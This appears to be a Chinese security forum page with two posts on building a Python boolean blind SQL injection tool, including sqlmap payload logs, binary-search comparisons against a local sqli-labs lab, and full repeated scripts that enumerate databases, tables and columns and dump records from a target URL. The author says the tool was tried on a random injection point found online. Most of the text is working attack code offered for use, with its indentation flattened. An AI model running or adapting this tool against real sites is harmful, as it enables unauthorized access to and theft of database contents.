parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()

  查看全部
完善一下之前写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~
分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5
通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字
自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

自增算法发送了5次payload判断出了数据库个数为5
再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

1.png

发送了18次payload才判断出information_schema数据库名的长度为18再看一下刚刚说的二分查找算法代码
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

1.png

可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()


 

python编程实现自动化注入之布尔盲注

lawliet 发表了文章 • 1 个评论 • 416 次浏览 • 2018-06-06 21:42 • 来自相关话题

自己编写的一个自动化盲注脚本,目的主要是为了提高自己的python代码能力和sql注入能力,脚本主要使用optparse库去解析命令行参数与用户交互,同时会用到二分有序查找算法去猜解数据库的每个字符
布尔盲注

布尔盲注这种注入手法主要用于页面没有回显位置而且没有报错信息的情况下,这时可以构造逻辑判断,通过页面返回的不同去判断逻辑的真假从而猜取数据库的字符

所以可以通过python脚本循环猜解出数据库中的内容,二分法猜解字符会比一次次循环累加要快很多,主要的思路就是先用requests请求一个正常的页面,当然这个页面是存在sql注入的,然后通过requests请求加上单双引号的url所返回的页面,通过和正常页面对比来判断为数字型注入还是字符型注入,判断的方法url参数后加单引号与双引号均报错,则为数字型注入
url参数后加单引号报错双引号不报错,为字符型注入且参数外为单引号
url参数后加单引号不报错双引号报错,为字符型注入且参数外为双引号接着就是根据页面的不同判断数据库的个数和每个数据库名的长度,然后通过二分法指定范围(0-126)判断出来每个数据库的名字,然后采取相同的方法判断出来指定数据库下的表名,指定数据库表名下的字段名以及数据库里的数据

为了更方便的理解使用,我用python写了一个盲注二分法算法模型
模型1:def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid<num:
low=mid+1
else:
high=mid-1
return (low+high+1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result




模型2:def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid>num:
high=mid-1
else:
low=mid+1
return (low+high-1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result




有了模型,有相当于有了一个轮子,通过模型可以更容易地编写出自己的盲注脚本,贴出我编写的盲注脚本#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
num=0
while 1:
payload="%s and (select count(*) from information_schema.schemata)=%s-- "%(url,str(num))
#print payload
html=requests.get(url=payload).content
#print html
if html==basehtml:
return num
else:
num=num+1
def getdbs(url,basehtml,num):
for n in range(num):
length=0
while 1:
payload="%s and (select length(schema_name) from information_schema.schemata limit %s,1)=%s-- "%(url,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
s=""
#print length
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def gettablenum(url,basehtml,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.tables where table_schema=0x%s)=%s-- "%(url,dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def gettables(url,basehtml,num,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(table_name) from information_schema.tables where table_schema=0x%s limit %s,1)=%s-- "%(url,dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getcolumnnum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.columns where table_name=0x%s and table_schema=0x%s)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(column_name) from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getdatanum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from %s.%s)=%s-- "%(url,dbname,tablename,str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(%s) from %s.%s limit %s,1)=%s-- "%(url,columnname,dbname,tablename,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()使用方法,自己使用optparse库将脚本参数设置成了类似于sqlmap的参数,下面是该脚本使用方法





随便测试网上一个注入点来测试写的工具是否可以使用,可以看到成功注入出来了数据库,当然经过测试也能注入出表字段和数据库内容,这个工具只是初步完成了,当然还有很多的不足,这些都需要自己不断的去完善







  查看全部
自己编写的一个自动化盲注脚本,目的主要是为了提高自己的python代码能力和sql注入能力,脚本主要使用optparse库去解析命令行参数与用户交互,同时会用到二分有序查找算法去猜解数据库的每个字符
布尔盲注

布尔盲注这种注入手法主要用于页面没有回显位置而且没有报错信息的情况下,这时可以构造逻辑判断,通过页面返回的不同去判断逻辑的真假从而猜取数据库的字符

所以可以通过python脚本循环猜解出数据库中的内容,二分法猜解字符会比一次次循环累加要快很多,主要的思路就是先用requests请求一个正常的页面,当然这个页面是存在sql注入的,然后通过requests请求加上单双引号的url所返回的页面,通过和正常页面对比来判断为数字型注入还是字符型注入,判断的方法
url参数后加单引号与双引号均报错,则为数字型注入
url参数后加单引号报错双引号不报错,为字符型注入且参数外为单引号
url参数后加单引号不报错双引号报错,为字符型注入且参数外为双引号
接着就是根据页面的不同判断数据库的个数和每个数据库名的长度,然后通过二分法指定范围(0-126)判断出来每个数据库的名字,然后采取相同的方法判断出来指定数据库下的表名,指定数据库表名下的字段名以及数据库里的数据

为了更方便的理解使用,我用python写了一个盲注二分法算法模型
模型1:
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid<num:
low=mid+1
else:
high=mid-1
return (low+high+1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

1.png

模型2:
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid>num:
high=mid-1
else:
low=mid+1
return (low+high-1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

1.png

有了模型,有相当于有了一个轮子,通过模型可以更容易地编写出自己的盲注脚本,贴出我编写的盲注脚本
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
num=0
while 1:
payload="%s and (select count(*) from information_schema.schemata)=%s-- "%(url,str(num))
#print payload
html=requests.get(url=payload).content
#print html
if html==basehtml:
return num
else:
num=num+1
def getdbs(url,basehtml,num):
for n in range(num):
length=0
while 1:
payload="%s and (select length(schema_name) from information_schema.schemata limit %s,1)=%s-- "%(url,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
s=""
#print length
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def gettablenum(url,basehtml,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.tables where table_schema=0x%s)=%s-- "%(url,dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def gettables(url,basehtml,num,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(table_name) from information_schema.tables where table_schema=0x%s limit %s,1)=%s-- "%(url,dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getcolumnnum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.columns where table_name=0x%s and table_schema=0x%s)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(column_name) from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getdatanum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from %s.%s)=%s-- "%(url,dbname,tablename,str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(%s) from %s.%s limit %s,1)=%s-- "%(url,columnname,dbname,tablename,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
